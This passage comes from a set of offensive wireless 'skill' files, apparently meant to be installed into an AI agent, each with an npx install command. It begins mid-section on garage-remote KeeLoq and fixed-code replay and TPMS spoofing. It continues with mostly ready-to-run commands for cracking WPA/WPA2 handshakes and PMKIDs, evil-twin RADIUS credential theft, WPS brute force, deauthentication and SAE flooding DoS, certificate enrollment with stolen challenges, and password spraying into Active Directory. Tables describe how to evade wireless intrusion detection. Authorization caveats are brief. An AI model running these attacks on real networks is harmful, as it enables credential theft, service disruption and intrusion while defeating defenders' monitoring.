KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:
- Decrypt rolling code → predict next valid code
- Combined with capture-replay, take over the remote
# rolling-code-tools (research)
git clone https://github.com/AndrewMohawk/RollingPwn
Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.
Fixed-Code Remotes
Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.
# Flipper Zero: Read → Save → Send (from saved file)
# Or with RFCat:
python -c "import rflib; ..."
# OR with HackRF:
hackrf_transfer -t replay.iq -f 433920000 -s 8000000
TPMS Spoofing
Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:
# Capture legitimate TPMS
rtl_433 -f 315M -F json | grep TPMS
# Synthesize crafted alerts (custom modulator with HackRF)
# Useful for testing TPMS-aware vehicle systems or as denial-of-trust attack
Reconstruction of Unknown Protocols
# Universal Radio Hacker (URH) — visual reverse engineering
urh
# Load .iq capture, identify modulation visually,
# auto-detect symbols, decode bits, identify packet structure
URH walks you from raw RF to a parsed protocol description, even with no docs.
Engagement Cheatsheet
# 1. Identify band + modulation
rtl_433 -f <freq> -A # auto-detect known protocols
gqrx # spectrum view to find activity
# 2. For LoRaWAN
# - Set up gateway (or HackRF + LoRa decoding)
# - Capture joins + uplinks
# - Extract keys from device firmware (see offensive-iot)
# 3. For proprietary sub-GHz
# - Capture with HackRF / RTL-SDR
# - Visualize / decode with Inspectrum or URH
# - Replay or craft
# 4. Document modulation, frequency, packet format, replay viability
Detection
- LoRaWAN networks have server-side anomaly detection (frame counter, signal strength, geographic) — varies widely by operator
- Sub-GHz consumer products typically have no monitoring
- TPMS / industrial equipment has minimal telemetry on RF anomalies
Reporting
- Identify exact frequency, modulation, baud, and packet format per device
- Distinguish capture-replay vs. crafted-frame attacks
- Note crypto state (cleartext / weak-fixed-key / standards-compliant)
- For LoRaWAN: identify AppKey / NwkSKey / AppSKey storage in firmware
Key References
- rtl_433 protocol database: github.com/merbanan/rtl_433
- Universal Radio Hacker: github.com/jopohl/urh
- RollingPwn (KeeLoq research): github.com/AndrewMohawk/RollingPwn
- LoRaWAN Specification: lora-alliance.org
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wifi-recon/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wifi-recon -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wifi-recon",
"description": "Wi-Fi reconnaissance methodology — adapter selection, monitor mode and packet injection setup, regulatory domain handling, multi-band airspace mapping, hidden SSID discovery, BSSID\/ESSID\/channel\/PMF\/encryption fingerprinting, client probe analysis, vendor OUI lookup, war-driving with Kismet\/airodump-ng\/Wigle, and structured airspace data capture for downstream attacks. Use at the start of any wireless engagement to build the target map before active attacks; covers 2.4 GHz, 5 GHz, and 6 GHz (Wi-Fi 6E) bands and adapter compatibility for each."
}
Wi-Fi Reconnaissance
The first phase of any wireless engagement. Build a complete picture of the airspace before you deauth, evil-twin, or capture handshakes — every later attack depends on knowing the right BSSID, channel, encryption, and client population.
Quick Workflow
- Pick the right adapter for the target's band(s) and PHY
- Verify monitor mode + injection actually work
- Set the regulatory domain (legal channels and TX power)
- Sweep all bands passively
- Drill down on each in-scope BSSID for client population and PMF status
- Record everything in a structured target list before any active attack
Adapter Selection
| Chipset | Strengths | Notes |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |
| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | In-tree driver on modern kernels |
| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |
| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |
# Identify your radio
lsusb | grep -iE "(atheros|realtek|mediatek|alfa)"
iw dev
iw list | grep -A 8 "Supported interface modes"
iw list | grep -E "Frequencies:" -A 30
Monitor Mode Setup
# Kill conflicting services
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Or manually
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
# Verify monitor mode + injection
sudo aireplay-ng --test wlan0mon
The injection test should report 30/30 ack rates against nearby APs. Lower scores indicate driver, antenna, or position issues.
Regulatory Domain
# Check current
iw reg get
# Set explicitly (us = United States, jp = Japan extended, etc.)
sudo iw reg set US
Setting the right regdomain unlocks legitimate channels (US: 1–11 on 2.4, 36–165 on 5; JP adds 12–13 + 184+ DFS) and TX power. Operate within the regdomain you're authorized to use.
Passive Multi-Band Sweep
# All bands
sudo airodump-ng wlan0mon --band abg
# 5 GHz only (helps see UNII bands)
sudo airodump-ng wlan0mon --band a
# 6 GHz (requires 6E-capable adapter and updated airodump-ng)
sudo airodump-ng wlan0mon --band ax
# Hop only specific channels
sudo airodump-ng wlan0mon -c 1,6,11,36,40,44,48
Capture to file for later analysis:
sudo airodump-ng wlan0mon --band abg --write recon --output-format pcap,csv
Targeted Capture
Once you've identified an in-scope BSSID:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w target wlan0mon
Pin to the channel — channel-hopping during a focused capture loses frames.
Hidden SSIDs
Hidden APs broadcast beacons with empty ESSID. The name leaks during client probes (active scan) or association requests:
# Wait for legitimate client to associate, ESSID appears in airodump output
# Or, if a client is already associated, deauth them once to force reassociation:
sudo aireplay-ng --deauth 1 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
(Only deauth with explicit authorization — see offensive-deauth-disassoc.)
Kismet for War-Driving
sudo kismet -c wlan0mon
# Open https://localhost:2501 for the dashboard
Kismet handles GPS integration, plots APs to a map, fingerprints by IE order, identifies probable IoT vendors from OUI prefixes, and tags known-vulnerable models.
For long-running captures, drop --no-ncurses and run headless under tmux.
Wigle Submission
If the engagement permits:
# Export Kismet's .kismet → CSV → Wigle import format
kismetdb_dump_devices --in capture.kismet --out devices.csv
(Wigle aggregates wireless network observations geographically — useful for mapping but check ROE.)
Vendor / OUI Identification
# Quick OUI lookup
echo "AA:BB:CC" | wireshark-tools/manuf-lookup
# Or check the airodump CSV's BSSID prefix against /usr/share/wireshark/manuf
Vendor identification informs:
- Likely default credentials (router brand → known defaults)
- Known firmware bugs (CVE per chipset)
- Whether WPS is likely vulnerable (Pixie Dust per chipset)
- Whether KRACK / FragAttacks patches are likely applied (vendor patch cadence)
Data to Record per Target
| Field | Why |
|---|---|
| BSSID | Required for every active attack |
| ESSID | Match against PNL probes; client probe correlation |
| Channel + width | Pin radio for capture |
| Band | Adapter selection |
| Encryption | WPA2-PSK / WPA2-Enterprise / WPA3-SAE / Open / WEP |
| PMF (Protected Management Frames) | Whether deauth works |
| RSSI | Position planning |
| Beacon interval / TIM | Anomaly detection vs. evil-twin defenders |
| Vendor (OUI) | Likely default creds, known bugs |
| Client list (MACs + RSSI) | Targets for deauth/relay |
| WPS enabled? | Pixie Dust candidate |
Detection Considerations
A defender's WIDS sees:
- New device entering the airspace (probe requests reveal even before association)
- Channel hopping patterns of monitor-mode interfaces
- Non-standard probe behavior (KARMA-style universal responses, see
offensive-evil-twin)
Pure passive recon (no probes from your radio) is invisible to most WIDS deployments. Stay passive until you're committed to the active phase.
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
sudo aireplay-ng --test wlan0mon # confirm injection (skip if pure passive)
# 2. Sweep all bands, write to file
sudo airodump-ng wlan0mon --band abg --write recon --output-format pcap,csv
# 3. Kismet for sustained map (optional)
sudo kismet -c wlan0mon --no-ncurses --daemonize
# 4. Per BSSID drill-down
sudo airodump-ng -c <ch> --bssid <BSSID> -w <name> wlan0mon
# 5. Build target list with all fields above
Key References
- IEEE 802.11-2020 (combined spec)
- aircrack-ng documentation: aircrack-ng.org
- Kismet documentation: kismetwireless.net
- WIGLE: wigle.net (read the API ToS before automated submissions)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wifi/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wifi -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wifi",
"description": "Wireless \/ 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA\/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, evil-twin RADIUS), Karma \/ Known Beacons \/ Mana evil twin attacks, captive-portal phishing, KRACK and FragAttacks, WPS Pixie Dust, deauthentication and disassociation attacks, rogue AP construction (hostapd-mana), 802.1X bypass, MAC randomization defeat, BLE\/Zigbee\/IEEE 802.15.4 sidebands, and Wi-Fi 6\/6E\/7 considerations. Use when scoping wireless pentest, war-driving an estate, or testing corporate wireless segmentation."
}
Wireless / 802.11 — Offensive Testing Methodology
Quick Workflow
- Pick the right adapter (monitor mode + injection + correct band/PHY for target)
- Recon airspace passively — never deauth before you know the topology
- Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
- Crack offline; do not rely on online dictionary attacks
- If WPA-Enterprise, pivot through stolen creds or rogue RADIUS
Hardware & Adapter Selection
| Chipset | Strengths | Notes |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |
| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | Modern kernels in-tree |
| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |
| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"
Reconnaissance
# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg
# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon
# Wigle / Kismet for war-driving
kismet -c wlan0mon
Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.
WPA / WPA2-PSK
Four-way Handshake Capture
# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
Verify the EAPOL frames are usable:
hcxpcapngtool -o hash.hc22000 handshake-01.cap
PMKID (No Client Required)
PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
Cracking
# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
WPA3 / SAE
Transition-Mode Downgrade
If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
Dragonblood (CVE-2019-9494/9495/13377)
Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
SAE Auth Flooding (Resource Exhaustion)
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
WPA-Enterprise (802.1X / EAP)
Method Identification
# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V
| Inner Method | Attack |
|---|---|
| EAP-MSCHAPv2 (PEAP/TTLS) | Crack NetNTLMv1-style challenge offline |
| EAP-GTC | Cleartext password — capture via rogue RADIUS |
| EAP-TLS | Steal client cert (often in user keychain / DPAPI / NDES) |
| EAP-PWD | Dragonblood-class side channels |
Evil-Twin RADIUS (MSCHAPv2 / GTC)
# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap --creds
# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt
Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with ServerValidation disabled (common for BYOD) will hand over creds.
EAP-TLS Cert Theft Paths
- DPAPI master key + cert blob from user profile (
%APPDATA%\Microsoft\SystemCertificates) - NDES misconfig (ESC8-class cert request abuse)
- ADCS user auto-enrollment template with weak ACL
WPS
Pixie Dust (Offline)
# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.
Online PIN Brute (Last Resort)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy
Evil Twin / KARMA / Mana
Stock Evil Twin (Captive Portal)
# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon
KARMA / Mana (Probe Exploitation)
Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.
# hostapd-mana
sudo hostapd-mana ./mana.conf
# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
--auth wpa-eap --creds --hostile-portal
MAC Randomization Defeat
iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.
KRACK & FragAttacks
| Attack | Class | Target |
|---|---|---|
| KRACK (CVE-2017-13077..082) | Key reinstallation | Unpatched WPA2 supplicants |
| FragAttacks (CVE-2020-24586..588) | Fragmentation/aggregation | Most pre-2021 implementations |
Test a network's patch status:
# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0
Deauth / Disassociation Attacks
# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon
# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt
# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m
802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via Action frames.
802.1X / Wired NAC Bypass (Adjacent)
# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e
# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0 # variants for wired
Wi-Fi 6 / 6E / 7 Considerations
- 6 GHz (Wi-Fi 6E) disables WPA2-only; WPA3 + PMF mandatory. Many attacks are mitigated by spec.
- OFDMA / MU-MIMO: legacy injection often misaligns with RU allocations — verify packet delivery on test bench.
- TWT (Target Wake Time): deauth windows differ; observe BA sessions before injecting.
- MLO (Wi-Fi 7): a single client over multiple links — capture must cover all links to recover full session.
Sidebands & Adjacent Wireless
| Tech | Tool | Notes |
|---|---|---|
| Bluetooth Classic | redfang, crackle, btproxy |
LMP/L2CAP fuzzing |
| BLE | bettercap, Sniffle (TI CC1352), Frontline |
GATT enumeration, LE Secure Connections downgrade |
| Zigbee / 802.15.4 | KillerBee, apimote, ATUSB |
Touchlink commissioning abuse |
| Z-Wave | Z-Force, EZ-Wave |
S0 key reuse bug class |
| LoRa / LoRaWAN | LoRaPWN, ChirpStack |
Join-request replay, ABP key reuse |
| 433/868 MHz (Sub-GHz) | HackRF / Flipper Zero | Garage doors, doorbells, telemetry |
RADIUS / Backend Pivots Post-Compromise
# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD
nxc smb dc -u captured_user -p cracked_pass --pass-pol
# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets
# If on Windows NPS, pivot via the service account context
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. Recon (do not deauth yet)
sudo airodump-ng wlan0mon --band abg --write recon
# 3. PMKID sweep (passive)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# 4. Targeted capture if PMKID empty
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon
# 5. Crack offline
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 6. If enterprise → eaphammer evil twin
# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time
Detection / Defender View
| AP/WIDS Detector | Trigger | Evasion |
|---|---|---|
| Excessive deauth | >5 deauth/sec from one source MAC | Spread across spoofed MACs, target individuals |
| Rogue AP detection | Unauthorized BSSID on monitored channel | Match real BSSID's beacon timing/IE order exactly |
| Karma response anomaly | AP answering all probe SSIDs | Use Mana mode, pick one plausible SSID |
| WPS lockout | Repeated PIN failures | Pixie Dust offline only, abandon online brute |
| RADIUS log: cert mismatch | Supplicant rejects evil-twin cert | Use copies of victim CA-signed certs (unlikely) |
Key References
- MITRE ATT&CK: T1200 (Hardware Additions), T1557.004 (AiTM via Evil Twin)
- IEEE 802.11-2020 (combined spec including KRACK mitigations)
- WPA3 Spec / Wi-Fi Alliance: dragonblood.net for vuln tracking
- hcxtools / hashcat WPA modes: docs at hashcat.net
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wpa-enterprise/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wpa-enterprise -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wpa-enterprise",
"description": "WPA\/WPA2\/WPA3-Enterprise (802.1X \/ EAP) attack methodology — EAP method identification (PEAP-MSCHAPv2, EAP-TTLS, EAP-TLS, EAP-GTC, EAP-PWD, EAP-FAST), evil-twin RADIUS attacks with eaphammer for credential capture, MSCHAPv2 challenge-response cracking, EAP-TLS client certificate theft paths (DPAPI, NDES, AD CS auto-enrollment), supplicant validation bypass (missing server cert validation, missing CN pinning, BYOD misconfigurations), and post-capture pivots into AD via cracked domain credentials. Use for corporate Wi-Fi engagements where the network is 802.1X authenticated."
}
WPA-Enterprise (802.1X / EAP) Attacks
Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
Quick Workflow
- Identify EAP method from beacons + initial EAP-Request/Identity
- If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response
- If EAP-TLS: target the cert-issuance / cert-storage path (out of band)
- Crack captured MSCHAPv2 offline → AD username + password
- Pivot into the domain (see
offensive-active-directoryandoffensive-network)
EAP Method Identification
# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V
# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
| EAP Type | Identifier | Common Inner |
|---|---|---|
| 13 | EAP-TLS | Client + server certs |
| 17 | LEAP | (legacy, weak) |
| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |
| 25 | PEAP | MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) |
| 43 | EAP-FAST | MSCHAPv2 (PAC-protected) |
| 47 | EAP-PWD | (Dragonblood-class research target) |
Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)
The most common attack path against corporate Wi-Fi.
# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard # generate self-signed cert (first run)
eaphammer -i wlan0 \
--essid CorpWiFi \
--bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap \
--creds
When a client associates, eaphammer logs:
[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...
Crack offline:
# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (crack.sh) for guaranteed crack at moderate cost.
Why Evil-Twin Works
The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:
- The CA chain on the RADIUS server certificate (most BYOD configurations)
- The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)
Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.
Mitigation defenders should use:
- Push GPO requiring server cert validation
- Pin trusted CA + RADIUS server CN explicitly
- For BYOD, enrollment via SCEP/Intune that locks supplicant settings
Supplicant Validation Bypass
Windows
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
Look at the deployed wireless profile XML. Critical fields:
<ServerValidation>
<DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
<ServerNames>radius.corp.local</ServerNames>
<TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>
If ServerNames is missing or wildcard'd, evil-twin will succeed.
iOS / macOS / Android (BYOD)
Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.
EAP-TLS Targets
EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:
Cert Theft from User Profile
- DPAPI master key + cert blob on Windows
%APPDATA%\Microsoft\SystemCertificates\My\Certificates\- Decrypt with DPAPI master key (requires user logon context or master key)
- macOS Keychain (login keychain) — local user access
- Android KeyStore — root + Frida hooks (see
offensive-mobile) - iOS — Keychain item with appropriate access group entitlement
NDES / SCEP Misconfig
If the network uses SCEP for cert provisioning:
# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll
# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
-u http://ndes.corp.local/certsrv/mscep/mscep.dll \
-l client.crt -E 3des -S sha1
AD CS Auto-Enrollment with Permissive ACL
Domain users with Enroll permission on a Client Authentication template can mint their own certs. See offensive-active-directory for ESC1-class attacks.
EAP-GTC
If GTC is offered (rare, often Cisco environments), the inner exchange is plain text. A successful evil-twin captures the password directly with no offline cracking needed. eaphammer captures GTC the same way as MSCHAPv2.
Post-Crack Pivot
A cracked MSCHAPv2 yields corp.local\jdoe : Password123!. From there:
# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local
# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local
# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All
Hand off to the AD attack chain (offensive-active-directory, offensive-network).
Detection Considerations
| Signal | Defender View |
|---|---|
| Rogue RADIUS server ESSID | WIPS rule: AP impersonation by ESSID/BSSID delta |
| Repeated MSCHAPv2 failures | RADIUS log: increased auth failures from one supplicant |
| Cert mismatch failures | Modern Windows endpoints log to Event Viewer (Wi-Fi 11005) |
| Captured user complaint | Users may report a "weird Wi-Fi prompt" — most don't |
To minimize: match the legitimate AP's BSSID exactly (spoofed MAC), use a CA-signed cert that mimics the real RADIUS CN if you can obtain one, time the attack during known disruption windows (lunch / start of day) to blend with reconnections.
Engagement Cheatsheet
# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"
# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds
# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response
# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist
# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>
# 6. Hand off to AD chain
Key References
- eaphammer: github.com/s0lst1c3/eaphammer
- asleap: willhackforsushi.com/asleap
- crack.sh — NetNTLMv1 (MSCHAPv2) rainbow service
- RFC 3748 (EAP), RFC 5216 (EAP-TLS), RFC 7170 (EAP-TEAP)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wpa2-psk/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wpa2-psk",
"description": "WPA\/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool \/ hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA\/WPA2 Personal — the most common consumer\/SMB encryption mode."
}
WPA/WPA2-PSK Attacks
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
Quick Workflow
- Identify the target BSSID, channel, and encryption (see
offensive-wifi-recon) - Try PMKID first (fast, no client interaction)
- Fall back to four-way handshake capture if PMKID isn't yielded
- Convert capture to hashcat-compatible format
- Crack offline with appropriate wordlist + rules + masks
PMKID Attack (Preferred When Possible)
The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
Four-Way Handshake Capture
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
If a client is associated:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
Verifying the Capture
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
Cracking
Dictionary + Rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
Useful wordlists:
rockyou.txt(classic)weakpass_3/weakpass_4(huge breach corpus)crackstation.txt- Targeted: company name, products, locations
Mask Attacks for Common Default Patterns
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
Vendor Default Generators
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT Cracking
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
Tuning Cracking Performance
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
Opportunistic Key Cache (OKC)
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
